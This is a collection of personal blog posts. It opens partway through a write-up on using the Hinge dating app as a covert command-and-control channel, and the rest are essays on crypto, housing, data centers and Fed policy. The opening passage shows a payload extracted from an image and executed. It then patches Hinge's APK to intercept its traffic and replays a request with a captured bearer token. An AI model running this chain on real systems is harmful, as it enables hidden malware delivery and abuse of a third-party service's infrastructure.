pu6fv3qbtwfwl4m34r2h.jpg payload2 chmod +x payload2 ./payload2 ``` I'll let you guess what the output will be! ## Patch Dat App I'm not going to go through excruciating detail because if I did this post would be way too long and we'd drown in minutiae. The gist is that Hinge doesn't bother with certificate pinning, so MITMing it is trivial. You could do so with a rooted phone by adding your certificate to the system trust store, but because rooted phones are easy to detect, I wanted to avoid that. After all, a threat actor wants to stay as hidden as possible. Thankfully, doing this on a vanilla Android phone is easy so long as you turn on developer options and enable USB debugging. There are open source projects like [apk-mitm](https://github.com/niklashigi/apk-mitm) that help automate this drudgery. I tried apk-mitm specifically but it butchered the apk resources and lead to Hinge crashing on startup. So we're going to get our hands dirty and do it the old fashioned way - as you will see, it is so easy a house plant could do it. Install the [Android Debug Bridge](https://developer.android.com/tools/adb). We start by finding the relevant apks; Hinge is an [Android App Bundle](https://en.wikipedia.org/wiki/Android_App_Bundle) and uses split apks. The `base.apk` file is the meat and potatoes, but we need all three: ``` adb shell pm list packages | grep hinge package:co.hinge.app adb shell pm path co.hinge.app package:/data/app/~~SPa73TGJVGIyIEauH-XspQ==/co.hinge.app-0nE16h1-_jOfO23mEWhFig==/base.apk package:/data/app/~~SPa73TGJVGIyIEauH-XspQ==/co.hinge.app-0nE16h1-_jOfO23mEWhFig==/split_config.arm64_v8a.apk package:/data/app/~~SPa73TGJVGIyIEauH-XspQ==/co.hinge.app-0nE16h1-_jOfO23mEWhFig==/split_config.xhdpi.apk ``` Pull those apks down to your machine: ``` adb pull /data/app/~~SPa73TGJVGIyIEauH-XspQ==/co.hinge.app-0nE16h1-_jOfO23mEWhFig==/base.apk . adb pull /data/app/~~SPa73TGJVGIyIEauH-XspQ==/co.hinge.app-0nE16h1-_jOfO23mEWhFig==/split_config.arm64_v8a.apk . adb pull /data/app/~~SPa73TGJVGIyIEauH-XspQ==/co.hinge.app-0nE16h1-_jOfO23mEWhFig==/split_config.xhdpi.apk . ``` The one file we need to change is the [network security config](https://developer.android.com/privacy-and-security/security-config) XML file. However, this file is in a special "axml" format so we can't just decompile the apk, edit it, and reinstall; but it's not much more work. Create the textfile first: ``` cat > nsc.xml << 'EOF' EOF ``` The `` line is our secret sauce and all that's needed. We are going to use [xml2axml](https://github.com/codyi96/xml2axml) to convert it to the binary format: ``` java -jar xml2axml-2.0.1.jar e nsc.xml nsc-binary.xml ``` Next, we will inject it into a new patched apk: ``` cp base.apk base-patched.apk mkdir -p res/xml cp nsc-binary.xml res/xml/network_security_config.xml zip -d base-patched.apk "META-INF/*" zip -u base-patched.apk res/xml/network_security_config.xml java -jar uber-apk-signer-1.3.0.jar --apks base-patched.apk ``` The `META-INF/*` part strips the existing signature - we will end up doing this to all three apks so that we can sign them all with [uber-apk-signer](https://github.com/patrickfav/uber-apk-signer) before installing: ``` mkdir install cp split_config.*.apk install/dir for apk in install/split_config.*.apk; do zip -d "$apk" "META-INF/*"; done java -jar uber-apk-signer-1.3.0.jar --apks install/ ``` Copy your patched apk into that directory, remove the existing Hinge app and reinstall the bundle: ``` cp base-patched-aligned-debugSigned.apk install adb uninstall co.hinge.app cd install adb install-multiple base-patched-aligned-debugSigned.apk split_config.arm64_v8a-aligned-debugSigned.apk split_config.xhdpi-aligned-debugSigned.apk ``` For those that do better seeing everything as a single script, please see [patch.sh](https://github.com/matthewwiese/hinge-command-control-c2/blob/main/patch.sh) in the repository. ## Malcom in the Middle We're almost done. Set up your Android phone to use [mitmproxy](https://github.com/mitmproxy/mitmproxy) and open the Hinge app and start doing stuff - you should see requests piling up in the mitmproxy interface. The user ID and key header data we need can be found in a variety of requests. For example, if we inspect a GET request to `https://prod-api.hingeaws.net/user/v3`: ![mitmproxy TUI view of request details](/assets/images/mitm-request.png) ![mitmproxy TUI view of response details](/assets/images/mitm-response.png) That provides us everything we need for the curl command shown earlier: ``` curl -H "x-app-version: 9.103.1" \ -H "x-device-platform: android" \ -H "authorization: Bearer egnoh-f_tZHOvehiwVXhUViLtwnJ9y0uK6vU1N0gH4s=" \ -H "x-device-id: ea3b329c4b0eeadd" \ -H "x-install-id: 454cf671-85e1-45a5-9167-f0645509521e" \ "https://prod-api.hingeaws.net/content/v2/public?ids=3800512239643919861" ``` Congratulations! You're now using Hinge to distribute unassuming abstract expressionist pixel art. Happy New Year. --- # Tokenize Deez Nuts - URL: https://mattwie.se/tokenize-deez-nuts - Date: 2025-12-02 - Tags: crypto, Bitcoin, Federal Reserve, digital identity, tokenization, legal finality, cryptocurrency, assets, leverage, capitalism, material conditions I've been following the crypto space for over a decade. At various points along the way I have been *that guy*. I have also been one of the rabid crypto haters. It's hard not to be conflicted when something you get into in high school becomes a two trillion dollar thing *and* you don't get rich because of it. Of course your relationship to said thing would take on an, at times, adversarial dynamic. Nowadays I don't worry about what my wallet could have been. I have [six girlfriends](/fed-fiscal-dominance) who are into Fed policy pillow talk. How did I get into learning about how the Federal Reserve works? That's right. *Bitcoin*. So, after watching for years with both horror and delight as the line went up, what do I have to say for myself? Not much. On the whole, I think it's mostly a profound waste of energy built on speculation. However, so long as global techno-industrial capitalism persists, I believe it will exist and that *the line will go up*. Though as recent fluctuations demonstrate, things don't go up in a straight line. Buy the dip? Probably the right move but I honestly don't care please get Mr. Satoshi out of my head. If there is anything that gives crypto staying power beyond life as a speculative asset,[^1] I think it'll be tokenization. Our mutual friends [Larry Fink](https://www.blackrock.com/corporate/investor-relations/larry-fink-annual-chairmans-letter) and [Vlad Tenev](https://www.bloomberg.com/news/articles/2025-10-02/robinhood-hood-ceo-tenev-says-tokenization-freight-train-will-eat-finance) are bullish on tokenization, although they both have something to gain from its success. I believe tokenization's ability to unlock capital to be used as collateral benefits Capital by expanding the frontier available to it. The phrase "digital identity" is also one applicable to tokenization and technologies associated with it. This is what the blockchain promised all along: distributed accountability and verification of capital, identities, assets, and other property. I think the concept is best illustrated by [Tom Lee](https://en.wikipedia.org/wiki/Thomas_Lee_(analyst)), Chairman of BitMine Immersion Technologies Inc. ($BMNR on [NYSE American](https://www.nyse.com/markets/nyse-american)). He takes it to its logical conclusion in last month's [Chairman's Message](https://www.youtube.com/watch?v=LaIgcD7DlGU&t=577): ![Tom Lee using Elon's brain as a tokenization product idea](/assets/images/tokenization.png) What I don't see being addressed - which may in part be due to taking Leary's advice and "dropping out" of crypto - is the legal finality. How does one arbitrate smart contracts? How are the bankers formulating the laws associated with these things? No matter how much the cypherpunks and I wish it would happen, the world isn't going to go "native onchain" anytime soon (if ever). Existing legal plumbing needs to be shaped and molded to suit tokenization using existing technologies, or newer solutions created to address it. My [stealth B2B SaaS](/no-sleep-till-agi) notwithstanding. In a world where Sam Altman thinks [Worldcoin](https://world.org/worldcoin-token) is a good idea, I don't think it's too far-fetched to imagine we'll land on something like tokenization eventually. Hell, I think it may be one of the things that [comes after AI](/large-language-mammon) if the bubble ever does pop. We've had memecoins, NFTs, and the Metaverse already. Given our current financial world, I wouldn't be surprised if tokenization is finally the real world use case we've been looking for (again, besides being a speculative asset, which is still useful but different). What if we commoditize all assets, including all [natural capital](https://en.wikipedia.org/wiki/Natural_capital), with fractional ownership in a 24/7 exchange-value marketplace powered by a loose cartel of so-called miners increasing universal entropy by solving increasingly difficult New York Times crossword puzzles? This is the future I am imagining: ![Why is everything chrome?](/assets/images/chrome.webp) [^1]: I do think Bitcoin specifically is amusing when considered as a store of value of invested energy. Like some kind of abstract global entropy futures market? A financial instrument for measuring our eventual heat death? Winter has only just started and I already have cabin fever. --- # Our K-Shaped Nihilism - URL: https://mattwie.se/our-k-shaped-nihilism - Date: 2025-11-28 - Tags: wealth disparity, economy, financial nihilism, k-shaped > "America's not a country. It’s just a business." > > Killing Them Softly (2012) The phrase "K-shaped economy" has been making the rounds, reifying the American Dream into a realist's pithy soundbite. It describes the worsening disparity between the haves and have-nots, although anybody not born yesterday would realize this has been a fixture of the American economy since the [robber barons](https://en.wikipedia.org/wiki/Robber_baron_(industrialist)). Say what you will about labor exploitation, at least back then we named our companies after the stuff they did. Standard Oil did exactly what it says on the tin. What the hell is a Palantir? C'mon Peter you would have been in great company if you just called it Panopticon. Anyway, it's hard to articulate my disdain for a term like this that obfuscates more than it enlightens. Our Protestant work ethic and faith in the [Line Go Up civic religion](/large-language-mammon) necessitates beating around the bush. Maybe my ire should be directed toward the likes of Edward Bernays; after all, public relations and its consequences has been a disaster for the human race. You would think that with Occupy Wall Street being within recent memory that we would be more aware of how to draw a critical throughline over time. I suspect the electoral victory of Zohran Mamdani is evidence of a very slowly growing consciousness. Commenting on continuing political polarization is no longer novel, but it should be noted that declining material conditions have followed hand in glove. This overlaps with another subject I've seen across media, which is the proliferation of [financial nihilism](https://web.archive.org/web/20250705171608/https://www.epsilontheory.com/financial-nihilism/). Most young people are stuck, even those with professional and graduate degrees that would have previously been upwardly mobile members of the [professional managerial class](https://en.wikipedia.org/wiki/Professional%E2%80%93managerial_class). They get paid enough to have disposable income for speculating in crypto and the stock market, but not enough to save for mortgage down payments on any realistic timeline (for example, because a large proportion of their take-home income goes to rent). I defer my opinion on landlords to our mutual friend [Adam Smith](https://www.econlib.org/library/Smith/smWN.html?chapter_num=9): > As soon as the land of any country has all become private property, the landlords, like all other men, love to reap where they never sowed, and demand a rent even for its natural produce. The game feels like it was rigged from the start, because it is. If you think home ownership is perpetually out of reach, it becomes economically rational to embrace nihilistic cynicism. The rat race is zero-sum, or at best [Pareto optimal](https://en.wikipedia.org/wiki/Pareto_efficiency), so why not bet your entire net worth on BMNR calls hoping to luck into generational wealth? I get the impulse, even though it is ultimately self-defeating and a kind of social cannibalism. If we are all capitalist realists now, then what is to be done? I'm not even trying to be cute and quote Lenin. Even if AI as such does what they tell us it will do, that doesn't magically redistribute wealth or change who owns what capital. To quote our mutual friend and favorite CIA assassination victim, [John F. Kennedy](https://www.presidency.ucsb.edu/documents/address-the-first-anniversary-the-alliance-for-progress): > Those who make peaceful revolution impossible will make violent revolution inevitable. I think the [MMT](https://en.wikipedia.org/wiki/Modern_Monetary_Theory) folks have a good handle on how to understand and engineer solutions to this. However, I am not classically trained in piano or economics. In the case of the latter, not to my detriment. What will become of the [three Americas](https://kyla.substack.com/p/how-ai-healthcare-and-labubu-became) as the climate crisis evolves into the climate catastrophe? This isn't SimCity, we can't just enter cheat codes if we screw up. It's hard not to see this all as an echo of post-Soviet Russia's nihilistic malaise. However, in our case it's by design. I am excited to witness what the future holds. Will I be lucky enough to live in one of Balaji's [Startup Cities](https://www.startupcitiesmap.com) and be a citizen of the Network State? Or will I be trapped in a defunded FEMA camp for Finger Lakes refugees after a gold rush of AI data centers dump so much thermal energy into Cayuga and Seneca Lake that HABs occur in the dead of winter? Or maybe I will be in a Robinhood Work Camp for Margin Debtors, solving captchas to train AI models, because I leveraged myself on 0DTE MSTR options? Why is it so much easier to imagine a terribly cynical future? I suppose because the material conditions support it. --- # A Splendid Housing Bubble - URL: https://mattwie.se/ithaca-real-estate - Date: 2025-10-18 - Tags: Finger Lakes, Ithaca, New York, Tompkins County, real estate, housing bubble, asset inflation, speculation I like to read [Wolf Richter's blog](https://wolfstreet.com). Although I don't always agree with his analysis, his coverage of interest rates, real estate, and the menagerie in between is valuable. If all you consume is mainstream financial journalism from the likes of the Wall Street Journal, I highly recommend Wolf's writing, if only to challenge your priors. Wolf has [a long-running series](https://wolfstreet.com/category/all/housing/) where he covers America's second housing bubble that began gurgling in the early 2010s. Over the past couple years he has highlighted a distinct drop from peak valuations in 2021 and 2022. Since then - in the major metro areas - prices have slowly ground down. They're still at inflated valuations but the housing market has noticeably cooled. Wolf has a variety of theories for this, so I'd suggest you go get it from the horse's mouth. Now, not all places are off-peak - relatively affordable Midwestern cities like my previous home Columbus, Ohio are still pushing new highs. However, the momentum nationwide has noticeably slowed. All real estate is local and each market's dynamics can be different. This is best illustrated with the following chart for Ithaca, New York where line go up: [![A chart showing home prices in Ithaca, NY from 1996 to 2025](/assets/images/ithaca-real-estate.png)](/assets/images/ithaca-real-estate.png) Ithaca (and Tompkins County) is unique. As the home to both Ithaca College and "Ivy League" Cornell University, it's the prototypical college town. The main economic driving forces are the two higher ed institutions and the wave of students they bring to town each year. There is tourism and some industry like Borg Warner, but it's a footnote. Housing stock in the area is infamously thin. Students competing against townies for housing push up rents to levels that no self-respecting upstate town deserves to be at. That, combined with the stratification between (relatively) well-paid white collar workers at Cornell and the mass of service workers leads to further upward pressure on home prices. This gravy train won't last forever. A [demographic cliff](https://www.npr.org/2025/01/08/nx-s1-5246200/demographic-cliff-fewer-college-students-mean-fewer-graduates) exists for higher ed: there are going to be fewer college students as the years progress. Eye-watering tuition costs combined with lower and lower absolute numbers of students risks upending the infinite growth hack that colleges and universities have depended on since the inception of the GI Bill. I expect Cornell to be fine on this front. The cachet of the Ivy League will allow the university to squeeze blood from a stone - the perceived esteem of your alma mater still matters, and Cornell can always increase acceptance rates to buoy declining enrollment. Ithaca College probably won't be so lucky. In isolation, it's a tough pill to swallow but probably not existential. Unfortunately, I foresee the [weaponization of funding](https://ithacavoice.org/2025/06/layoffs-further-cuts-likely-at-cornell-as-federal-scrutiny-continues/) for higher education continuing. Specifically, I expect Federal funding cuts to be more or less permanent, regardless of the lapel pins of those in charge. To speak in metaphor, at a certain point your house is so full of mold that spritzing bleach on the walls won't save it. The code that produced the chart above [is here](https://gist.github.com/matthewwiese/da9b61a2a9011696eadaa79d888323b0). You can access the [Zillow ZHVI data](https://www.zillow.com/research/data/) yourself and play around. --- # The Finger Lakes and Watershed-Scale Computing - URL: https://mattwie.se/finger-lakes-watershed-computing - Date: 2025-09-28 - Tags: Finger Lakes, Cayuga Lake, data center, capex, environmentalism, TeraWulf, AI, watershed, computing, artificial intelligence, climate change The public hearing for a development moratorium at a [recent Lansing, New York town board meeting](https://youtu.be/Ko9rewsHg-M?t=374) was contentious. Representatives from the cryptocurrency and AI data center company [TeraWulf](https://www.terawulf.com) were in attendance, in addition to a packed house of locals. TeraWulf has [secured a lease](https://ithacavoice.org/2025/09/environmentalists-sound-alarm-as-plan-to-convert-cayuga-power-plant-to-data-center-advances/) for Milliken Station, a retired coal power plant located on Cayuga Lake, one of the "Finger Lakes" of the eponymous region of Upstate New York. The data center capex boom that I [have previously written about](https://mattwie.se/there-is-no-bubble) has come to my own backyard. At the meeting, a TeraWulf representative [claimed](https://youtu.be/Ko9rewsHg-M?t=1388) that the data center won't use lake water for cooling purposes. I find this hard to believe. TeraWulf's own [press release](https://investors.terawulf.com/news-events/press-releases/detail/113/terawulf-secures-long-term-ground-lease-at-cayuga-site-to) from August makes explicit reference to such a benefit (emphasis mine): > Located on the site of a former coal-fired power plant, the Cayuga property features robust existing electrical infrastructure, **an industrial-scale water intake system**, and redundant fiber connectivity – critical components for supporting enterprise-scale computing workloads. I am well aware that cooling could be achieved only mechanically with fans or via a closed-loop system - they are not strictly required to pull water from the lake for operations. However, I personally believe they are lying through their teeth, and let me explain why. ## What the Hell Is a Finger Lake? The [Finger Lakes](https://en.wikipedia.org/wiki/Finger_Lakes) are eleven, glacially carved lakes in Upstate New York. For a rock and dirt nerd like me, they are a marvel. Cayuga Lake - the home of Milliken Station that TeraWulf wants to repurpose - has a maximum depth of 435 feet, dwarfed only by its bigger brother Seneca Lake whose maximum is 618 feet. For comparison, [Lake Erie](https://en.wikipedia.org/wiki/Great_Lakes) is only 210 feet at its deepest, with the next-deepest Great Lake being Huron at 748 feet. That is a *lot* of cool fresh water, especially because the actual surface area of the two largest Finger Lakes is small in proportion to their depth, reducing evaporation. They make for an excellent source of temperature-stable water. Additionally, the watershed of the Finger Lakes comprises a large geographic area: [![A map of the Finger Lakes watershed](/assets/images/finger-lakes-watershed.jpg)](https://dec.ny.gov/nature/waterbodies/watersheds/management/great-lakes/finger-lakes-watershed) It may not be the size of the [Ogallala Aquifer](https://en.wikipedia.org/wiki/Ogallala_Aquifer), but it doesn't need to be. Unlike the Ogallala and the other aquifers out West, the Finger Lakes and the [Southern Tier](https://en.wikipedia.org/wiki/Southern_Tier) is not at imminent risk of running out of water. In fact, our problem is that we [have too much](https://www.syracuse.com/weather/2025/07/heavy-rain-caused-flooding-sunday-in-upstate-ny-see-where-5-inches-fell-chart.html). My gut instinct tells me that as the years go by the Finger Lakes will be seeing ever greater amounts of total precipitation thanks to climate change. Presently, the trend isn't conclusive: ![1980 - 2024 total annual precipitation at Cornell University](/assets/images/total-annual-precipitation.png) That data is from the [NRCC's CLIMOD 2](http://climod2.nrcc.cornell.edu/), using total annual preciptation recorded at Cornell University. Here's [the Gist](https://gist.github.com/matthewwiese/84b53d28c942ebd067b177ddc5571acb) with the data and plotting code. Suffice to say, if I were an investor, I'd be making inroads *now* to prepare for the future. Wall Street is obsessed with quarterly earnings, but a good capitalist thinks ahead so that they may [continue accumulating](/capital-accumulation). If only [Peter Mantius](https://waterfrontonline.blog/) were still around. ## What Comes Next? The vote on the moratorium was moved to next month's meeting, and its result will be an interesting sign of things to come. I don't suspect TeraWulf will give up even if the vote doesn't go their way. The existing infrastructure at Milliken, and its sister plant [Greenidge](https://dec.ny.gov/environmental-protection/facilities-in-your-neighborhood/greenridge-generating-station) on Seneca lake (presently a Bitcoin mine), are attractive investments. Building an entire data center from scratch on the lakes is a massive task, but I feel like a vote against the moratorium could open the proverbial flood gates. I believe there's a reason [Paul Prager](https://www.paulprager.com/) and TeraWulf picked Milliken beyond the benefits of the facility itself. The abundant cool lake water is an invaluable asset that reduces capex and opex. If I were a data center developer, I would be licking my chops at the potential of the Finger Lakes based on what climate change has in store for us. The only hurdle to overcome would be the NIMBYs and the hippies, but you can just lie to them. --- # The Tendency for the Accumulation of Capital to Accelerate - URL: https://mattwie.se/capital-accumulation - Date: 2025-09-27 - Tags: Nick Land, accelerationism, capitalism, capital accumulation, theology, Holy Spirit, philosophy, ecology, economics There is a quote often attributed to Albert Einstein but it could really have been said by anybody, and it goes something like this: > The most powerful force in the universe is compound interest. It would be whimsical if one of history's greatest physicists had said this. Unfortunately, he almost certainly didn't. That, however, doesn't mean it isn't true. I mean, look at this big, beautiful line going up and tell me that compound interest *isn't* the most powerful force in the universe: [![A graph of 15% compounding annual interest on $10,000 of principal](/assets/images/compound-interest.png)](https://en.wikipedia.org/wiki/Compound_interest) Here's another graph that shows a different but paradoxically identical compound interest: [![A graph of CO2 concentration in ppm over the last 10,000 years](/assets/images/co2_10k.png)](https://keelingcurve.ucsd.edu/) And because all good things come in threes: [![Global GDP over the long run](/assets/images/global-gdp.png)](https://ourworldindata.org/grapher/global-gdp-over-the-long-run) The common refrain that "it takes money to make money" is superficially true. After all, if you've got no money in the bank then your startup capital is zero. Thankfully I paid minimal attention in school - or at least enough to learn that anything multiplied by zero is zero. Compound growth only works if there is something to, well, *compound*. ## The Holy Spirit, Accelerationism, and You Growing up I would make the [sign of the cross](https://en.wikipedia.org/wiki/Sign_of_the_cross) before bedtime, reciting the phrase: "In the name of the Father, the Son, and the Holy Spirit." I never really understood what the "Holy Spirit" referred to, even after asking adults multiple times. It was only after attending university and studying philosophy and theology that I began to grok the Holy Spirit, insofar as anybody can truly get the Divine. I hope this isn't sacrilegious - and if so, may my grandparents (RIP) forgive me - but the way I see it, the Holy Spirit works through capital accumulation, in the same way that it works through [population dynamics](https://en.wikipedia.org/wiki/Population_ecology#Population_dynamics) and the [carbon cycle](https://en.wikipedia.org/wiki/Carbon_cycle). One of my favorite problematic philosophers is [Nick Land](https://en.wikipedia.org/wiki/Nick_Land). From his essay "Meltdown" (emphasis mine): > Capital is machinc (non-instrumental) globalization-miniaturization scaling dilation: an automatizing nihilist vortex, neutralizing all values through commensuration to digitized commerce, and driving a migration from despotic command to cyber-sensitive control: from status and meaning to money and information. Its function and formation are indissociable, comprising a teleonomy. **Machine-code-capital recycles itself through its axiomatic of consumer control, laundering-out the shit- and blood-stains of primitive accumulation. Each part of the system encourages maximal sumptuous expenditure, whilst the system as a whole requires its inhibition.** Schizophrenia. Dissociated consumers destine themselves as worker-bodies to cost control. All those amphetamines really made Land a decadent writer. Reading between the word salad, Land is saying that the paradox of consumption and accumulation lie at the heart of capitalism. Its machinic, inhuman nature is algorithmic. It is supernatural and possessed, a force distinct from our species that propels itself through time with our blood, sweat and tears. Its appetite is ravenous and thus insatiable. The accumulation forever requires continuous production and consumption. Compound interest only works so long as the interest is added to the principal. *What in the Sam Hill is this boy on about?* I'm glad you asked, because what it has to do with is *you*. You make the line go up. I make the line go up. We all make the line go up. The Holy Spirit lives in each of us, and as far as I can tell, compels us to increase GDP. ## Line Go Up The law of compound growth is much like the [law of large numbers](https://en.wikipedia.org/wiki/Law_of_large_numbers): a fact of life. Power, wealth, and atmospheric carbon dioxide all accumulate at ever greater rates so long as the source of their accumulation is uninterrupted. On the flip side, what goes up must come down. There's no such thing as a free lunch. Trees don't grow to the sky. I know this is all very obtuse. I'm sorry, I can't help myself. --- # Emotive Forces Shape The Gestalt of the Brand Identity - URL: https://mattwie.se/brand-identity - Date: 2025-09-01 - Tags: marketing, brand identity, pepsi, philosophy, gestalt, postmodernism ![Symmetrical energy fields are in balance](/assets/images/pepsi-energy.png) I did my undergrad in philosophy, and so have a particular affection for high falutin word salad. The other day I was in the grocery store wandering the soda aisle looking for seltzer. I walked by a shrine of Pepsi and viscerally remembered the infamous line from the [Pepsi rebrand document (PDF)](/assets/pdf/pepsi.pdf): > Emotive forces shape the gestalt of the brand identity. I wept. Poetics unmatched since Baudrillard kicked the bucket in 2007. No coincidence, I think, that a year later this work of art manifested itself into existence. This document is one of the GOATs of strategic psycho-babble. An unholy combination of esoteric physics and B-School marketing. It gives the [Time Cube](https://en.wikipedia.org/wiki/Time_Cube) guy a run for his money. Before one imagines a [spherical cow](https://en.wikipedia.org/wiki/Spherical_cow), you must first invent the universe. The interdimensional hologram is thereby reified from the limited 2D plane to the euphoric 3D space: ![A sphere is defined as the surface formed by rotating a circle about any diameter.](/assets/images/2d3d.png) This shrine in the store had a gravity all its own. The light reflecting off the brilliant cans was curved by the relativity of space and time. The rays met my eyes with a proposition: quench your thirst. The object of my desire was my own voice. Jouissance was sublimated into the post-totality embodied theory of limitless castration: ![The gravitational pull of pepsi](/assets/images/pepsi-gravity.png) As thoughts, concepts, and epiphanies swirled around my conscious mind I was swept across the blade of infinity toward the recognition of the Other and the satisfaction of the Ultimate Dialectic. So I paused. Took a deep breath, and closed my eyes. In that black void behind the eyelids I was no longer at the supermarket, instead suspended in the primordial soup. Afloat in the Womb of the Real: ![Lacan's graph of desire.](/assets/images/graph-of-desire.gif) Rejuvenated, I put the can down, and offered my gratitude to the Pepsi shrine and my ancestors before grabbing a 12-pack of unflavored store-brand carbonated water and beelining for the checkout. --- # The Large Language Mammon - URL: https://mattwie.se/large-language-mammon - Date: 2025-08-30 - Tags: llm, ai, large language model, mammon, market, capitalism, investing, economics Max Read's [recent post](https://maxread.substack.com/p/is-the-ai-bubble-bursting) on the AI bubble is a succint synopsis of the zeitgeist. Equity valuations are at nosebleed levels, AGI cometh only in the minds of zealots, and billions of dollars have been allocated to data center capex. I was inspired by reading Max to revisit a previous post of mine - [There Is No Bubble](/there-is-no-bubble) - because a lot of the dynamic he observes I have also alluded to, and want to elaborate upon. Ever since the release of ChatGPT and the consequent AGI marketing push, retail and institutional investors alike have been smitten. If capex has been holding up the American economy in the real world, the promise of AGI has been emboldening its animal spirits. After all, it's a seductive message: the [Fourth Industrial Revolution](https://en.wikipedia.org/wiki/Fourth_Industrial_Revolution) is imminent and, much like [Adventists](https://en.wikipedia.org/wiki/Adventism), we must prepare. Perhaps the [AI 2027](https://ai-2027.com/) guys will be right and we'll all have egg on our faces (and be out of a job on our way to becoming Soylent). Perhaps my skepticism will be retroactively considered heresy and [Roko's basilisk](https://en.wikipedia.org/wiki/Roko%27s_basilisk) will turn every atom in my body into paper clips and torture my soul for eternity. Perhaps not. Regardless, I don't really care about all that. Perhaps it all comes to pass. Neat. What I do find interesting is the massive investment into data centers. If the "AI bubble" does "pop" - whether that means Nvidia's stock price is back below $100, there are fewer AI posts on Hacker News, or people's latent psychosis stops getting triggered by chatbots - the hardware has already been bought and the data centers already built. CUDA ain't going nowhere. Machine learning research will plod along. Palantir will continue to be inspired by Minority Report. Mark Zuckerberg may start dressing as a nerd again. The Big Tech companies have historically been asset-light despite their crazy revenues, which is why these past few years have been so incredible. If this mythical bubble everyone keeps talking about does pop, somebody is going to have to figure out what to do with all these GPUs. Nature abhors a vacuum and I don't expect investors will take kindly to their billion-dollar monuments collecting dust and attracting mice. OK Matt, so the bubble pops and equity valuations plummet. The economy enters recession as investors lose faith in deploying capital, consumer spending pulls back because people don't feel as rich anymore, and we finally see fewer AI posts on Hacker News. Happy now? Not really. I don't really care about all that. What I will say, though - which I outlined in a [different post](/fed-fiscal-dominance) where I humblebragged about my six girlfriends - is that whatever "correction" happens will be temporary. Line Go Up is the American civic religion. [Lyn Alden](https://www.lynalden.com/september-2024-newsletter/) does a better job explaining this than I ever will, so if you're a dork like me read her work. Suffice to say, the Market will find a new muse to pine after, conveniently forgetting its previous soulmates in crypto, the Metaverse, and AI. Capital will continue accumulating, just as animals in an ecosystem [maximize their fitness while they forage](https://en.wikipedia.org/wiki/Optimal_foraging_theory). America thinks it invented hustle culture but Nature has been on that grind for aeons. As [Mark Fisher](https://en.wikipedia.org/wiki/Mark_Fisher#Capitalist_realism) discovered, the big C ain't going nowhere. You can't kill the Market and its hunger is matched only by Mammon's. The gears of time spin on as the data centers whirr and the money printer brrs. --- # My Brainrot Demands Slop: Infinite Jest and GenAI - URL: https://mattwie.se/infinite-jest-genai-slop - Date: 2025-08-24 - Tags: llm, ai, david foster wallace, slop, brainrot, infinite jest, large language model, GenAI I was talking to a friend a few weeks ago, and he used "brainrotting" as a verb, in much the same way people use "doomscrolling" to describe mindlessly browsing social feeds like a dopamine junkie. Maybe I am finally self-actualizing as an old man yelling at clouds, but that terminology strikes me as eerie. A conscious acceptance of the mind altering nature of habit whose dealer is one swipe away in your pocket. The way we talk about things betrays how we think of them. I'm not the first to draw the parallel between the slop content endemic to social media platforms and [the Entertainment](https://en.wikipedia.org/wiki/Infinite_Jest#Plot) from David Foster Wallace's *Infinite Jest*, and judging by where this is going I won't be the last. For those whose attention span is too brainrotted to read a 1000-page tome, the gist is this... Quebecois separatists seek a Weapon of Mass Destruction fitting for our age of [simulation](https://iep.utm.edu/postmodernism/#H7): entertainment so enthralling you literally cannot look away. People exposed sit transfixed until they die. The eponymous "Infinite Jest" is an infinitely generating TV-movie-media *thing*. Published in 1996, Wallace's observations regarding the trajectory of Western media production and consumption have unfortunately proven all too prescient. The proliferation of slop as such is not new to the terminally online. Google's years-long [enshittification](https://pluralistic.net/2023/01/21/potemkin-ai/#hey-guys) due to its lackadaisical handling of SEO garbage websites gaming SERPs is a pre-GenAI example of this phenomena. However, the recent advancements in GenAI, particularly video (Sora, Runway, Veo, etc) I believe has quite literally opened Pandora's Box. This next bit is going to make me sound like an elitist so forgive me. People have been consuming human-generated (GenHomo?) slop for years already. How many Marvel movies are there these days? Why does everything have to be a redux or a sequel of some intellectual property that ought to be left for dead? Even if GenAI never escapes its uncanny valley aura, Hollywood sure as heck doesn't care so long as it's *good enough*. Consumers won't, either. I'm not sure there's anything that can be done about this short of a solar flare. Maybe this is what the kids call "cope" but I see it - as I do practically everything - through the lens of an ecological process. Western media production and consumption are undergoing [succession](https://en.wikipedia.org/wiki/Ecological_succession) but their trajectory, to my eye, is altogether unchanged. Without putting words in a dead man's mouth, I'd hazard a guess DFW would agree. OK back to doomscrolling brainrotting while I play Hearthstone and listen to a podcast and watch YouTube and spam emotes in Twitch chat and why can't I look away? --- # What Fiscal Dominance Means for Your Polycule - URL: https://mattwie.se/fed-fiscal-dominance - Date: 2025-08-22 - Tags: fed, macroeconomics, fiscal dominance, inflation, central bank, finance If you're anything like me, you have half a dozen girlfriends who themselves have half a dozen boyfriends forming one massive linked list. The hot button topic in the cuddle puddle these days is [fiscal dominance](https://en.wikipedia.org/wiki/Fiscal_dominance), and to my girlfriends' dismay it's wholly unrelated to findom (although I do suspect the Board of Governors are getting their rocks off). I don't recommend reading mainstream news, particularly financial journalism. If you have to, do it first thing in the morning so that the rest of your day can only get better. A few days ago [this article](https://www.ft.com/content/8478aaac-0d16-4c52-8d8c-caad02785d20) in the FT caught my eye. This quote is a good gist of the dynamic playing out in markets currently: > In the US, analysts say the current disparity between short-term rates — which are largely shaped by central bank policy — and more market-driven long-term borrowing costs partly reflects concerns that monetary policy will be kept looser than would be necessary to contain consumer prices. The key takeaway is that rates would not be high enough to rein in inflation. This is of particular note due to Powell's [speech today](https://www.federalreserve.gov/newsevents/speech/powell20250822a.htm), in which he said: > In the near term, risks to inflation are tilted to the upside, and risks to employment to the downside—a challenging situation. When our goals are in tension like this, our framework calls for us to balance both sides of our dual mandate. Chances are we will see a 25 basis point cut (0.25%) and more to come depending on PCE, CPI, and other data in the short and medium term. The market loved this, as it should: a lower short term rate means easier borrowing and thus cheaper money. So what does fiscal dominance have to do with this? Well, just like you, me, and Wall Street, lower interest rates means lower borrowing costs for the Treasury. Less interest has to be paid when interest rates are low (duh!) and as a result that money can be allocated to other areas of the budget, like reducing deficits. This is important because as it stands interest expense as a percent of GDP [is 3.02%](https://fred.stlouisfed.org/series/FYOIGDA188S). That may not sound like a lot, but it's nearly [882 billion dollars](https://fred.stlouisfed.org/series/FYOINT). If interest rates are kept artificially low, it exacerbates inflation, which over the past couple years has remained a bogeyman despite the Fed's best efforts. Knocking rates down will juice asset prices, because if your money is worth less every day, why not own equities, Bitcoin, gold, etc as stores of value? I suspect the ramp up in asset prices combined with lower borrowing costs will cause inflation to rear its ugly head again. How severely it does, and how the Fed responds, will be interesting to witness - in the same way that watching somebody get stung by a bee is. Anyway, if you didn't buy the dip I've got some hummus to share. --- # There Is No 